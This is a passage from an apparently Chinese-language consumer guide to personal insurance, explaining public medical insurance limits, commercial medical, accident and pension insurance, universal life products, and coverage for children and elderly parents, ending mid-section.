　　那么 40 天以后呢？

　　——引自微信爆款文章《流感下的北京中年》

　　我的工作属于久坐型，要么在写报告，要么在开会。因此，我格外注意健康饮食和适度锻炼，再加上运气好，很少去医院。

　　对我来说，每次看病也成为难得的了解医疗保险流程的机会。挂号、排队、问诊、开药，花费半天的时间，我可以了解到哪些费用可以报销，哪些则需要自费。

　　偶尔遇到医生对我说：这药可得自费啊。我听到后心里往往一阵窃喜，并脱口道：没事，我有包含医保范围外的商业医疗保险。

　　是的，我会逐字把“包含医保范围外的商业医疗保险”说得清清楚楚，以彰显自己的与众不同。医生除了觉得我很有保险意识外，八成也会觉得我脑子有点儿问题。这应该也属于职业病吧。

　　这样看来，医保不予报销的费用，可以通过商业医疗保险（有时我们也简称其为“商业医疗险”）来解决。那么，商业医疗保险应该怎么买？有哪些注意事项？下面我们好好讨论一下这些问题。

人们常说的医保到底是什么

　　不知道你听没听过这个说法：我已经有医保了，没必要买保险。

　　在评价这个观点之前我们有必要先了解一下，“医保”到底是什么意思。

　　但凡靠谱一点儿的公司，都会为员工缴纳五险一金。这里的一金指的是住房公积金，五险指的是养老保险、医疗保险、失业保险、工伤保险和生育保险。其中和我们日常生活关系最为密切的就是医疗保险，即我们常说的医保了。毕竟除了身份证，医保卡堪称最重要的个人证件。关于医保卡背后，人们有一个相当普遍的认识：只要拿着这张医保卡，看病就可以报销。

　　严格来说，这其实是一种幻觉，因为医保不是万能的，也做不到“看病就能报销”。在用医保卡看病的过程中，我们都接触过一些陌生的名词，比如起付线、药品目录、自费药、报销额度等。

　　起付线的意思是，每年只有花到一定金额，才能开始报销，否则就都是自费。比如，北京的医保起付线是 1800 元。如果一年到头只花了 1500 多元，就都要自费。药品目录指的是在医保系统中，对于医疗机构开具的药品做了不同分类，不同类型的药品报销额度也不一样，有的可全部报销，有的则只可报销一部分，还有的药全部要自费购买。报销额度很好理解，即使药品、治疗等都在报销范围内，医保也不是无限制的报销，整体来看，每年的报销额度范围为 20 万~30 万元。对于罹患重大疾病的患者来说，这一额度根本无法满足他们长期、昂贵的治疗需求。

　　为什么医保有这么多的限制呢？这是由医保的性质决定的。从本质上说，医保是一项国家福利，最重要的目标是覆盖到尽可能多的群体，让每个人都能享有最基本的医疗保障。

　　医保的覆盖范围广，主要体现为两点：一是不限制参保人员。不管你有什么健康问题，得过什么病，只要每个月交一点儿钱，就能享受这项福利；二是永不停售。医保不在乎你报销过多少钱，即使你去年只交了几百元，却报销了好几万元，明年医保依然会对你敞开大门。

　　当然，这是有代价的：牺牲保障质量。对于医保来说，池子里就这么多钱，到底是让更多人分到，哪怕只是一点儿；还是让一部分人分到，而且多一些？医保的选择显然是前者。

　　既想保障人群广，又想保障质量高，这在人口众多、区域发展差异巨大的中国，是一个不可能完成的任务。

医保不管的，让商业医疗保险来管

　　既然政府推行的医保面临种种问题和限制，就该保险公司登场了。

　　当我们讨论商业医疗保险的时候，“商业”二字的存在，不仅是为了做理解上的区分，也希望你能充分认识到它是保险公司的一门生意，而医保却是政府管理社会的一种手段。

　　明确这一点，对理解商业医疗保险来说至关重要。我们来考虑一个看似简单的问题：医保用来报销的钱是从哪里来的？

　　理论上，这些钱必然是每个医保参与者缴纳的，即每个月都会从我们的工资里扣除。但问题在于，有些不交钱的人也在享受医保福利，比如退休群体或从未交过医保的群体。

　　政府考虑的是全社会各个人群的利益平衡和共享，而不在意这个人是否交过钱。正因如此，医保长期处于缺钱状态，也就可以理解了。缺钱的时候该怎么办？政府会努力通过财政拨款、提高医保资金的投资收益来解决。

　　与之相比，商业医疗保险就简单多了。不需要顾虑谁，也不需要迁就谁，归根结底一句话：谁交钱谁享受，不交钱则不享受。这就是商业的本质。

　　所以，商业医疗保险自然也是花多少钱就办多少事，它可以被分为高端、中端和低端等档位。我们把自身的需求和手头的预算相结合，找到最适合自己的商业医疗保险，这是最重要的。

　　和重疾险、定期寿险相比，医疗险稍显复杂。这好比你走进西餐厅，菜单上丰富的菜品令你眼花缭乱。前菜和主菜怎么搭配？要不要来个甜点？不用着急，看似复杂的医疗险其实只包括两种产品。

　　第一种是包含门诊责任的商业医疗保险，可暂且称之为门诊医疗保险。这种产品保额不高，一般是几千元。有的门诊医疗保险会设置一个免赔额，比如单次 100 元或者累计 500 元。免赔额和政府医保起付线是同一个概念，都是为了减少理赔支出，实际上也起到了降低保费的作用。

　　第二种是包含住院责任的商业医疗保险，我们称之为住院医疗保险。这类产品的保额就高多了，几十万元甚至上百万元都很常见。和门诊医疗保险相比，住院医疗保险是下文要重点介绍的产品。

　　门诊报销确实爽，但遇见大病肯定慌。当所患疾病严重到需要做手术和住院的时候，单纯覆盖门诊责任的商业医疗保险就没什么用了，尤其对恶性肿瘤这类危重疾病而言，使用靶向药、质子重离子治疗等医疗手段，往往需要患者自己投入高额、长期的医疗费用。这时候能够挺身而出的，只能是住院医疗保险。

　　如今，市面上单纯保障门诊责任的医疗保险越来越少了，这类产品的理赔数据通常比较糟糕，往往是赔钱买卖。而与之形成鲜明对比的是，住院医疗保险市场却越来越有活力，新产品也层出不穷。该现象反映出，无论是保险公司还是消费者，大家都逐渐认识到一个长期被忽视的常识：

　　能被称作风险的，必然意味着财务上的巨大影响。所以和几十万甚至上百万元的医疗支出相比，几千元的门诊、住院费用，真的称不上风险。

　　换句话说，如果保险产品同样标价 500 元，你是用这 500 元来应对可能发生的 5000 元门诊花销，还是可能发生的 100 万元手术费和住院花销呢？

　　当然，我们可以两种保险产品都买，但医疗保险的选择，本质上是个优先级排序问题。只要解决了大额医疗开支的风险问题，买不买门诊医疗保险就完全取决于我们的腰包，这件事没有对错。

　　看完上述介绍，你应该知道自己究竟需要什么样的医疗险了。而我要提醒你的是：别忘了非常关键的健康告知。

　　医疗险的健康告知，与重疾险、定期寿险同等重要，而且内容一点儿都不少。由于它的等待期更短，所以尤其担心客户带病投保，在购买前，请务必仔细阅读健康告知，确认无误才能买得安心。

　　等待期、健康告知、免责条款等的存在，是为了防止逆选择。把隐瞒告知、带病投保的“不守规矩者”挡在门外，说到底是为了维护规则遵守者的利益。没有上述这些规定，才让人担忧。

买了重疾险，还要买医疗险吗

　　重疾险和商业医疗保险，都是为了解决疾病带来的问题。所以，很多人都觉得这两类产品有些重复。要解答这个困惑，不妨看看这两类产品到底有什么差异，这些差异可能就是它们之所以存在的原因。

　　首先，重疾险和商业医疗最重要的区别，是保险公司的理赔方式不一样。

　　重疾险有点儿像一锤子买卖，只要符合条款规定，保险公司就会把理赔款一次性打给你，无论是几万元还是几十万元。

　　商业医保就不一样了，花多少才能赔多少，保额仅代表可报销额度的上限，而你不一定能花掉这么多钱。这一点其实和政府医保是一样的。举例说明，我们拿着一大摞发票去报销，既有治疗费、药品费又有床位费，除去政府医保报销的部分，自费金额约为 5000 元。这时，就算你的商业医疗保险的保额是 100 万元，保险公司拿到这些医疗发票，最多只会把这 5000 元理赔给你。

　　如果一个人罹患影响正常生活的重大疾病，那他主要面临的问题有两个：一是治疗费用太高，掏空家底；二是无法继续工作，失去收入。前者可以靠商业医疗保险解决，后者则只能靠重疾险解决，两类保险的功能不一样。

　　此外，重疾险和商业医疗保险在定价和续保方面也有区别。长期重疾险每年的保费是恒定的，商业医疗保险的保费则会随着被保险人年龄的增加而上调，有的是 3 年一调，有的是 6 年一调。调价的原因，可以简单理解为医疗费用和理赔数据的变化。门诊发生率、住院发生率、治疗费用和药价的变动，使得医疗险必须按照自然费率定价。需要注意的是，定期调价不是产品的“劣势”，而是一种“特质”。就像猪肉涨价，只是对于通货膨胀等经济变化的一种反映，你不能因为猪肉涨价就认为猪肉这个“产品”本身是骗局，不值得买和吃。

　　猪肉会涨价，猪肉也可能会停售。如果一个养猪户总是赔钱，他必然会放弃养猪，而消费者无权追着养猪户质问他为什么不卖猪肉了。没有哪个商户会保证一直卖猪肉，医疗险也如此。目前市场上大多数医疗险都是一年期产品，如果第二年你想继续投保，得先看看保险条款是怎么规定的，通常有以下两种情况。

　　第一种是，卖不卖给你，我说了算。 投保人的续保申请须经保险人审核同意，投保人申请续保时，保险人有权对费率进行调整。为什么保险公司会拒绝消费者的续保申请呢？道理很简单，一年期产品可以停售。即使产品不停售，如果保险公司认为被保险人的疾病需要治疗多年，考虑到未来几年的赔付情况，也会直接拒绝客户的续保申请。保险公司拒绝续保，会让客户突然置身于风险之中。虽然这并不违背保险条款的约定，但至少我们应做到远离这种产品，毕竟风险太高。

　　第二种规定是，只要这个产品还在销售，保险公司就肯定会卖给你。 连续投保时，保险人不会因为某一被保险人的健康状况变化或历史理赔情况而单独调整该被保险人的连续投保费率。如果被保险人超过 80 周岁或该保险统一停售，保险人就不再接受投保人的连续投保。

　　这段话虽然有点儿绕，但字字清晰、准确。它的意思是：即使去年理赔给你很多钱，而且今年可能还得赔钱给你，我们依然会让你继续投保，价格也和同龄人一样。只有当产品全部停售或者被保险人超过 80 岁时，我们才不会再卖给你。

　　这说明什么？说明这个养猪户的养殖规模已经足够大，每年的盈利情况足够好，即使单独卖给某个人是亏本买卖，他也会继续把猪肉卖给他。

　　说了这么多，可能你已经忘了为什么要分析医疗保险的定价和续保这两个问题了。

　　因为我们要比较分析重大疾病险和医疗险。医疗保险的续保特质，使得长期重疾险的存在变得更加有意义。即使买了好几年的医疗保险停售了，我们也可以通过长期重疾险来获得保障。

　　作为保险从业者，我看过太多的保险产品，也看过太多的真实理赔案例。一场大病给一个家庭带来的痛苦很难量化，但有一点是确定的：

　　当风险袭来时，不幸的家庭都是一样的——他们最终都陷入了因病致贫的终局。所谓的因病致贫，世界卫生组织将其定义为：家庭因支付医疗卫生费用而导致家庭整体经济低于贫困线。

　　比如，小 A 来自农村，不幸罹患白血病。他的父母平时节俭度日，攒下的几万元钱在巨额的医疗费面前无异于杯水车薪。在无力治病的情况下，全家陷入了重度贫困。小 B 来自大城市，父母有几十万元的存款。小 B 不幸罹患重疾，高额的自费治疗使得家中几十万元的存款迅速被花光，只能卖房治病。几百万元花出去后，小 B 的病虽然得到医治，但家庭资产的折损、父母工作的中断，导致小 B 的家庭遭遇阶层滑落，这是属于中产阶级的因病致贫。

　　据国家统计局与国家卫计委的相关数据，在 2000—2014 年的十几年时间里，我国居民个人承担的卫生支出占比从 59% 下降至 29%。虽然这个成绩来之不易，但近 1/3 的个人占比，约为英国、美国、日本等国家的三倍，远高于全球平均水平。

　　依靠保险公司的商业医保解决每个人的潜在大额医疗开销风险，不仅保险公司希望你接受这个观念，不堪重负的政府医保同样如此。

意外险：不容忽视的“小”保险

　　明天和意外，不知道哪一个会先来。

　　——帮我成功说服家里老人做到乘车系安全带的一句话

　　蹒跚学步的孩子可能跌倒摔伤，开车上下班的白领可能突遭车祸，公园跳舞的老年人可能扭伤脚踝……意外带来的风险，很容易理解。意外险可以覆盖所有群体，不分男女老幼。

　　据统计，每年因为受到意外伤害而进急诊和住院的患者超过 2000 万人。中国疾病预防控制中心的数据显示，包括溺水、交通事故、跌落、烧伤、窒息在内的意外伤害，是导致我国未成年人死亡的首要因素，远超疾病死亡率。对于大多数人来说，在个人和家庭保险的配置中，意外险是最便宜的，一年只需几百元，就能买到保障责任全面、保额较充分的产品。

　　意外险花钱不多、看似简单，但要找到适合自己的靠谱产品也非易事。

意外险保什么、不保什么

　　和寿险、健康险、医疗险相比，意外险似乎更容易理解，毕竟它听上去非常简单——只要是意外造成的风险，就属于意外险的保障范畴。但话说回来，到底什么是意外呢？

　　遭受外来的、突发的、非本意的、非疾病的使身体受到伤害的客观事件。自然死亡、疾病身故、猝死、自杀及自伤均不属于意外伤害。

　　在每份意外险的保险条款里，你都能看到这样的描述。这段话表达了两层意思：

  • 第一，外来的、突发的、非本意的、非疾病的使身体受到伤害的客观事件，属于意外；
  • 第二，自然死亡、疾病身故、猝死、自杀及自伤，不属于意外。

　　举个例子，某公司员工小张连续三天加班，晚上 12 点多在回家的路上不幸遭遇车祸身故，车祸属于外来的、突发的、非本意的、非疾病的意外事件；如果小张连续三天加班，因过度劳累引发脑梗，且抢救无效不幸身故，则脑梗死亡本质上属于疾病身故，不属于意外。

　　看到这里希望你能意识到，除了珍惜自己的身体，还要配置一份定期寿险。毕竟定期寿险不会在意你的死亡方式，它更加包容。

　　猝死作为最容易被误认为意外的概念，经常引发争议和讨论，我在此提出来是希望更多的朋友意识到：这不是意外险的局限，也不是中国保险公司的独创，而更多是基于风险的不同定价。保险公司推出过包含猝死责任的意外险，价格稍高，如果你确实觉得有需求，选择购买包含猝死责任的意外险即可。

　　除了猝死，意外险还有一些“不保”。

　　比如，意外险通常不保高危职业从业者。道理很简单，在摩天大楼的脚手架上作业的工人和天天坐在办公室里的你，面临的风险能一样吗？因为换房，我先后经历过两次装修，每次都遇到施工队里有工人师傅摔伤、烫伤，虽然都不是发生在我家，但我也感同身受。

　　你可能觉得不公平，因为真正需要意外保障的人却被排除在外。其实，保险市场上有针对高危职业的专属意外险，只需多花点儿钱就能买到。

　　除了特定人群“不保”，还有某类地区“不保”。关于意外医疗责任，保险条款中往往会有一个补充描述：只承担中华人民共和国国境内（不包括港澳台地区）医院产生的医疗费用和支出。

　　在制定意外险价格的时候，保险公司参考的国内赔付数据当然无法适用于国外的情况。出了中国国境，医疗费用千差万别，如果和国内混为一谈，得出的数据必然没有参考意义。所以，不管是出国旅游、工作还是学习，我们都需要额外购买境外意外险。考虑到境外旅游的人越来越多，这本书第 6 章中专门写了选购海外旅游险的攻略，记得好好读一读。

　　最后一个“不保”，是某些行为不保。被保险人从事潜水、跳伞、攀岩运动、探险活动、武术比赛、摔跤比赛、特技表演、赛马、赛车等高风险活动期间发生的意外，不在意外险的责任范围内。当我们参与这种高风险运动时，面临的风险呈几何级数增长，说白了还是额外的风险成本问题，问题的本质没变。

　　说了这么多“不保”，我仿佛看到你已经怒火中烧，打算把这本书撕个稀巴烂了。其实大可不必，我们的第一款意外险或者说最重要的意外险，只要能覆盖我们在国内日常工作和生活中面临的意外风险就够了。

　　之所以告诉大家意外险有这么多“不保”，是希望每个人都能意识到，今后对于出境、高风险运动、职业变更等特殊事件，应及时购买有针对性的特定意外险。

配置意外险的几条原则

原则一：必须涵盖意外医疗责任。

　　意外导致的结果无非两种：伤残和死亡。因此，意外险保障的责任有三个必选项：身故、伤残、医疗。就像在手机话费套餐里，通话、短信、流量是三大必备要素，同样，身故、残疾、医疗是意外险的三大必备要素。

　　需要强调的是，意外受伤的概率远高于意外身故，在确定意外险的价格时，保险公司也非常看重医疗责任的定价，毕竟其发生频率高。对保险公司负责理赔的工作人员来说，意外身故的理赔案件一天见不到一个，而意外医疗的理赔案件每天都堆积如山。

　　意外受伤后，我们最大的需求就是医疗费用补偿。考虑到很多意外产生的医疗费用医保都无法报销，意外险的医疗责任就更重要了。

　　至于意外医疗的保额，一两万就足够了。如果是一两万元都治不好的意外受伤，一定已经严重到需要做手术或者长期住院治疗了，这时理赔的责任就可以交给上文提到的住院医疗保险了。

　　另外，你可能听说过住院津贴或住院保险金，它的作用是，投保人每住一天院，保险公司就会支付给他几百元钱，主要是为了弥补住院期间的收入损失，颇为贴心，本质上也属于意外医疗的责任范围。住院津贴属于锦上添花型保险，而且要花钱购买，所以有没有都无所谓。

原则二：一般意外身故的保额应足够高。

　　之前介绍定期寿险时我提过一组数据：在所有死亡案例中，意外死亡占比不到 20%。所以，同为 100 万元的身故保额，意外险的价格远低于定期寿险。这是由发生概率决定的。所以我强烈建议各位，尽可能把意外身故的保额提高。花最少的钱，撬动更高的杠杆，这是意外险的真实写照。说实话，意外险 100 万元身故保额在一二线城市根本不算高。

　　在这里我要提醒大家注意某些保险公司的“套路”。当你看到一个类似于“百万身价意外险”的打折产品时，请一定弄清楚它所说的百万身价到底是什么意思。举个例子，有个产品页面是这么描述该产品的：

  • 一般意外身故：10 万元
  • 航空意外身故：100 万元

　　既有一般意外身故，又有航空意外身故，到底该怎么理解呢？一般有两种理解方式。第一，一般意外身故赔付 10 万元，如果是航空意外身故，则赔付 100 万元。第二，一般意外身故赔付 10 万元，如果是航空意外身故，则额外赔付 100 万元，即 110 万元。不管哪种理解方式，都没有改变“只有航空意外身故才能拿到 100 万元的赔偿金”的客观事实。这种意外险虽然便宜，却没有意义，因为航空事故在意外风险中的发生概率相对较低。

　　对于这种偷梁换柱、玩文字游戏的保险公司，建议你直接将它们拉入黑名单。

　　我更喜欢以下这类保险：

  • 一般意外身故：100 万元
  • 航空意外身故：200 万元

　　这时，不管航空意外身故是单独计算还是累计计算，都符合大多数城市新中产对意外险的保额需求。

原则三：不同人群的意外险，侧重点不一样。

　　对于职场白领来说，意外险既要有足够的身故补偿（用于弥补家庭经济损失），也要保证受伤后有钱治疗；但对于孩子和老人来说，身故补偿就没有医疗费用补偿重要，毕竟他们不是家里的顶梁柱。因此，孩子和老人的意外险，应侧重于考虑提升意外医疗的保额，而没有必要追求意外身故的高保额。

原则四：保障时间一年就够了。

　　之前在介绍一年期产品特征的时候我提过，意外险和医疗险大多会设计成短期险，这样一来，就可以随时按照意外发生率和医疗成本的波动进行价格调整。因此，每年各家公司的意外险层出不穷，可能去年买的产品，到了明年就没什么竞争力了，这时直接换一家公司购买就好。由于意外险的几个基本责任都没有等待期这一说，所以可以做到无缝衔接。相较于重疾险、定期寿险、医疗险，这一点是意外险的独特优势。

　　一份科学的保险规划，应当包含每年对已有的保险方案做检视，以便及时补充新产品、增加保额。所以，不妨借着每年的这个时间点，看看有没有更好的意外险可以选购。

该不该买养老保险

　　假设你面前有一款商业养老保险：从 30 岁起，每月投入 2000 元，在 60 岁退休后，每月可领取 6000 元。面对这个产品，不同的人会有不同的认识。消费者觉得：这笔买卖我看不上，30 年后的 6000 元根本不值钱。保险公司却觉得：这笔买卖太难做了，年化 4.3% 的复利我很难百分百保证。

　　商业保险的可悲之处就在于“两头不讨好”——一边是潜在低利率环境下的投资压力，一边是被高通胀吓怕的消费者。

　　过去 20 年，房地产、金融、互联网等高收入行业产生了巨大的影响，财富的成倍增长似乎是常态，通胀的居高不下让大多数投资的收益率都显得微不足道，人们对于未来的不确定性从未像今天这样强烈。

　　相比之下，社会结构平稳、阶层流动基本停止的西方发达国家，对养老金的认知和预期明显不同。今天的储蓄和明天的支出不会有太大差异，这是养老金存在的前提。

　　除了社会发展带来的价值观巨变，养老保险的销售方式也脱不了干系。商业养老保险习惯性地宣传它能一劳永逸地解决养老问题：买了养老保险，按时缴费，理想的退休生活就指日可待。过分抬高消费者的预期，无异于搬起石头砸自己的脚。

　　如果说重疾险、定期寿险等保障产品是风险发生时的雪中送炭，那么商业养老保险的作用只能是锦上添花。这个世界上没有什么投资能让今天月收入的一部分，在几十年后变成月收入的好几倍。今天购买的 1000 元商业养老保险，只不过增加了潜在的养老收入。你只需要回答这个问题：每月交 1000 元，现在是否承受得了；30 年后变为每月领取 3000 多元，年化 4%—5% 的复利是否能接受。想靠一份养老保险彻底解决养老问题，可以说是痴心妄想。

　　所以，下次当你看见某款养老保险宣称能“彻底解决养老难题”，甚至“解决两代人的养老难题”，一笑而过就好。

　　基于上述认识，拿出个人收入和储蓄的一部分购买商业养老年金，是一种科学、正确的养老规划。持续投入资金（交保费），换取未来的持续收益（领退休金），让当下的结余享受尽可能久的保证复利收益。

　　我特别建议，每月缴纳五险一金和个人所得税的上班族，一定要投保税收递延养老保险，你可以把它理解为一种包含政府福利的养老保险政策。每月投入 1000 元，除了获得 3%~4% 的稳健复利收益，更能直接获得一部分延迟缴税。

　　包括社保养老金在内，这些养老收入的安全性和稳定性最高，可以作为养老生活的基本保障。有了这些收入作为保底，可满足最基本的养老需求。

　　我们常说中国养老有三个支柱：第一支柱是政府养老金，第二支柱是企业年金、职业年金，第三支柱是包含税延养老险在内的商业养老保险。

　　第一支柱大家都懂，第二支柱很多人听都没听过，因为基本上只有效益很好的大国企、央企才会给职工买。所以对于很多人来说，他们必须选择第三支柱作为养老的重要补充。

来不及思考养老问题的一代人

　　在写这部分内容的时候，我特意和我母亲聊了聊。

　　槽叔：在您看来，1997 年，每个月拿 180 多元出来，难吗？

　　母亲：说实话不算很难。身边朋友的工资基本上都是 1000 元左右，每个月拿出 20% 买养老保险其实压力不太大，但买的人确实不多。

　　槽叔：那是什么原因呢？

　　母亲：大家确实不懂啊，而且年轻时总觉得 55 岁退休还是很遥远的事。我是因为当时那个业务员催了我好几次，他是咱们小区的邻居，天天抬头不见低头见的，于是掏钱买了，想想就当存钱了。

　　这个世界上有两碗互相矛盾的鸡汤：一碗是让保险的长期投资应对未来的不确定性，这碗鸡汤的制作者是保险公司；另一碗是投资自己、享受当下，这碗鸡汤的制作者是各种消费品公司。

　　这两类公司的最终目的都是掏走中青年人群口袋里的钱。在这场战斗中，保险公司一直处于下风。无论保险公司推出什么养老保险产品，都很难打动这个处于人生上升阶段的群体。保险无法为消费者带来即时的快感，养老保险尤其如此。你可以把当下定义为消费时代或者欲望时代，但无论如何它都不是攒钱时代或储蓄时代。

　　老一辈人偏爱储蓄的观点，已经被当下的年轻人批判得体无完肤。你让我攒钱养老？电梯里的广告在对我说“一成首付买新车”，手机 App 提示我“免费苹果手机，今天就可拿回家”。鼓励消费者的声音实在太多了。

　　年轻人拒绝递延的快感，他们认为快感能越早体验到，就越值得花钱。能做到按时偿还信用卡欠款，你就已经是同龄人中的佼佼者了。

　　保险公司还面临着一个雪上加霜的事实：公众对于理财、消费的认知不断改变。如果你告诉他有一份年化收益率为 4% 的复利投资产品，他一定会说“手机里可以买年化收益率为 8% 的 P2P（个人对个人网络借贷）理财”。即使你告诉他这个 P2P 产品有风险，过两年可能就达不到这个收益率了，而商业养老保险 4% 的年化收益率却是终身有保证的，他也一定会说“我管不了那么久，我只看当下”。

　　在这样一个个人主义至上的时代，个体意识的觉醒标志着自信、抱负成为中青年群体的重要标签。个体价值被无限放大，人们在回答“未来我们能赚多少钱”的问题时往往倾向于高估自己的能力。

　　这个世界到底会不会奖励未雨绸缪的年轻人，只有时间才能给出答案。

算得清收益率的保险理财

　　交一笔钱，过段时间取出来，要么多了（赚了），要么少了（亏了），这种收益率非常好算。连结险和万能险就属于这类理财保险产品。

　　其中最好理解的就是投资连结险，其理财风格最彪悍，对它来说，债券可以买，基金可以买，股票也可以买。而且，它不对比例做限制，由此衍生出不同风险等级的账户，客户可以结合自身的风险偏好自行切换。在这种情况下，风险完全由客户承担。

　　与投资连结险相比，万能险则没那么激进，虽然也可以选择股票作为投资对象，但资金运用比例受到一定的限制。更重要的是，万能投资账户设置了保底收益，客户起码不会有亏损的风险。

　　事实上，万能险本就是为了同时满足理财和保障两大需求而诞生的。

　　假如你给保险公司 10000 元，要求其中的 1000 元用于买重疾险和定期寿险，剩下 9000 元放到一个保底收益为 3.5% 的投资账户中。两年后，9000 元变为约 9700 元，多出来的这 700 元，你要么不管它，要么用它再买点儿重疾险和定期寿险。又过了两年，你发现投资账户的收益率涨到 5.5%，此时你手里正好有 10000 元闲钱，也可以随时把它放到投资账户中。

　　一次投入，多种用途，而且缴费方式灵活。这样看来，作为西方舶来品的万能险（universal life insurance），似乎更适合翻译成“万用寿险”。不过，被引入中国后，万能险却变了味道。大家纷纷觉得，这种保险产品的投资功能不错，有保底收益，投资范围比年金险更宽泛，潜在收益也更高。那么，我能不能只做投资，不买保障产品呢？

　　不行，因为政府要求万能险必须有保障成本。而且，保险公司为了防止客户的钱在万能账户里快进快出，还会对万能账户设置领取手续费。

　　保险公司做万能险产品的本意，是获取长期稳定的资金。让这笔钱安心放着，复利生息，是双方对彼此的承诺。正是有了这份承诺，保险公司才敢选择投资期限较长的项目，保险资金的长期性、稳定性才有保障。

　　某天，有人突发奇想：既然万能账户偏爱长期稳定的资金，那么对购买年金险的客户而言，把每年领取的年金直接转移到万能账户里，岂不是一举两得？

　　还记得前文说过的交完 10000 元后，从第二年开始可以每年领取 500 元直至去世的产品乙吗？如果客户不领取这 500 元，而是将其直接转到万能账户里，一来可以让这 500 元二次增值，二来这笔钱还留在保险公司。这种皆大欢喜的结局，想想就令人激动。

　　保险公司的这个创意听着不错，但好像又有哪里不对劲。想象一下，如果你对银行说：欠你的房贷我现在不还了，但你别担心，每个月我都会把用于还房贷的钱买成理财产品，保证每年有 3.5% 的收益，30 年后我再把这些钱及收益都给你，怎么样？

　　银行只能对你说两个字：不行。

　　这样类比可能有些牵强，在现实中，银行图的只是贷款利息，并希望尽快收回借款，不要形成呆账、坏账。而我们每个人的财务需求却不一样。当我们有更好的投资渠道或者每年都需要这笔钱的时候，可以选择直接领取。除此之外，把钱放在万能账户里不失为一个不错的选择。

　　我之所以举这个例子，是为了让大家意识到，不管是什么金账户、银账户，即使它能为你提供年化高达 5% 的万能账户收益率，都是基于“你愿意延迟拿到本该属于你的钱”的前提。如果延迟拿钱符合你的需求，它就是好产品，不符合你的需求就是不好的产品，就这么简单。

　　想用几页纸的篇幅说清楚理财保险的类型和功能，是不切实际的。在中国保险市场，不同时期的理财保险产品的特点也各不相同。比如前文说的年金险、分红险，我们很难说清楚其具体的投资收益是多少。但有些银行销售的分红险，本质上却是固定收益的理财产品，承诺的分红并非不确定，而是肯定会兑现。

　　这岂不是和刚才讲的不一样吗？对此，你可以理解为：保险公司可以在不违背特定规则的前提下，不断“改造”产品。

　　消费者无须弄清楚购买的产品类型是什么，因为产品的类型甚至定义都在不断变化。消费者需要做的，是认清某个产品能解决什么问题，以及不能解决什么问题。比如，保底收益是多少，产品期限、保费金额是多少，高、中、低档的分红各是多少，历史实现情况如何。搞懂这些问题，你就能摆脱理财保险靠不靠谱的困扰，真正实现价值投资。

　　其实，获取大规模的资金，在任何时候都是保险公司的重要功能甚至是首要功能。为了达到资金的规模效应，单靠重疾险、定期寿险这类产品聚拢资金，是远远不够的。而市场上几乎没有不做理财保险的保险公司，这意味着保险公司的投资能力对其生存发展而言至关重要。

　　在中国，前文中提到的甲、乙、丙三个虚拟的年金险产品，都要遵从一个规定：内部收益率不能超过 4.025%。这是监管部门为了防止利差损而制定的规则。

　　还记得我在讲述养老险时讲到的年化收益率为 9% 的产品吗？当时销售这类产品的公司，每年都承担着投资收益不足的损失。这种名为“利差损”的东西，对全球范围内的保险公司都会造成严重的负面影响。

　　所以，千万不要觉得 4% 的收益率很低，放眼未来几十年，实现这个承诺并非易事，保险公司的压力其实很大。

　　在投资这件事上，保险公司的定位越来越明确：专心做好中长期投资。而且，欧美和日本的经验证明，随着中产阶级的增加和社会日益老龄化，以养老金为代表的长期保险资金将会成为居民的重要投资方式。

　　下次，当你琢磨着如何让自己手里的 50 万元获得更多收益的时候，可以看得长远一点儿，也许保险公司可以助你一臂之力。

孩子最好的保险是父母

　　大家在给孩子配置保险时，千万别忘了一个道理：父母自身的健康以及稳定、持续的赚钱能力，是孩子最重要的保险。

　　我们平时应坚持锻炼、健康饮食，避免工作压力过大导致的潜在健康问题。除此之外，我们还应为自己做好保险规划。

　　当上父母后，你为孩子配置了全面的保险产品，自己却处于裸奔状态，这是十分不可取的。爸妈这两台“印钞机”正常运转，是对孩子负责的重要体现。

　　最后，我总结一下为孩子配置保险的几个关键点。

  1. 作为父母，先把自己的保险配置好，因为你才是孩子最大的“保险”；
  2. 在购买任何商业保险之前，先为孩子办理好当地的少儿医保，这是政府给予的福利，一定要充分利用；
  3. 结合自身预算，首先配置高保额的重大疾病险和住院医疗险，其他的保险则量力购买。

一个不断妥协退让的过程

　　其实父母面临的风险非常简单，就是疾病引发的财务风险。直白地讲，为父母做保险规划也是在帮助我们自己。

　　除了疾病风险，我们几乎不用担心父母离世带来的风险。他们已经不再承担抚养子女的责任，也几乎没有背负房贷、车贷，这和中青年人面临的风险区别很大。由此看来，定期寿险并不适合给父母购买。更何况父母已经到了六七十岁的年纪，这通常也是定期寿险保障的截止时间。

　　这样看来，给父母配置保险，主要考虑的应该是重疾险、医疗险和意外险。

　　但问题接踵而至，年龄超过 60 岁的人想要投保重疾险和医疗险会有很多限制。

第一，年龄限制。

　　几乎所有重疾险和医疗险的投保年龄都在 0~60 岁。对重疾险而言，55 岁的投保年龄上限是普遍规则。没办法，人的年龄越大，患病概率就越高。尤其在 25 种重大疾病里，有些疾病基本上是“老年人专享”，比如严重帕金森病、严重阿尔茨海默病等。保险公司是商业机构，不赚钱的事情肯定不会做，由此它们选择了：放弃老年人市场。

第二，保额限制。

　　同样一份保险，30 岁的人和 50 岁的人可享受的保额上限是不一样的。以重疾险为例，如果在网上直接投保，30 岁的被保险人的保额上限基本为 50 万~60 万元，而 50 岁的被保险人的保额上限只有 10 万元。

　　仔细想想，这 10 万元的保额到底有什么用呢？我们都知道，重疾险的保额应该和被保险人的收入挂钩，以便在其患病期间提供失去收入的补偿，并解决一部分自费医疗开支（比如某些尚未引进国内的新型诊疗手段）。

　　离退休的老年人既然已经没有了工作收入来源，那么为其配置重疾险的前提也就不存在了。这时候，不妨以高保额的住院医疗险为主，让社会医疗保险和商业医疗保险共同解决大病就医带来的经济负担。

　　更重要的是，与重疾险不同，住院医疗险的保额通常不受年龄影响，挑选一个续保条件好、保额高、责任全的住院医疗险，远比买重疾险更“划算”。所谓的划算，指保费倒挂。

第三，保费倒挂。

　　让我们来简单地算一笔账。

　　一位 55 岁的男性购买保额为 10 万元的重疾险，每年需要交 3500 元左右，交 20 年，总计 7 万元的支出和 10 万元的保额相比，差别不大。如果计算内部收益率，相当于每年投入 3500 元，买了年化复利为 3.5% 的普普通通的理财产品。

　　选购保险时，杠杆率是一个非常重要的参考指标。同样是交 20 年保费、保障终身的重疾险，想要撬动 10 万元保额，不同年龄的人保费相差巨大。因此，给父母买重疾险，似乎不存在花小钱办大事的逻辑。当然，话也不能说得这么绝对。你有没有想过，如果只交了两三年保费就理赔，是不是就比较“划算”了呢？这话听着很晦气，好像早早得病反倒成了一件好事。但这种假设实际上可以让我们换个角度看“保费倒挂”这件事。

第四，健康告知不符。

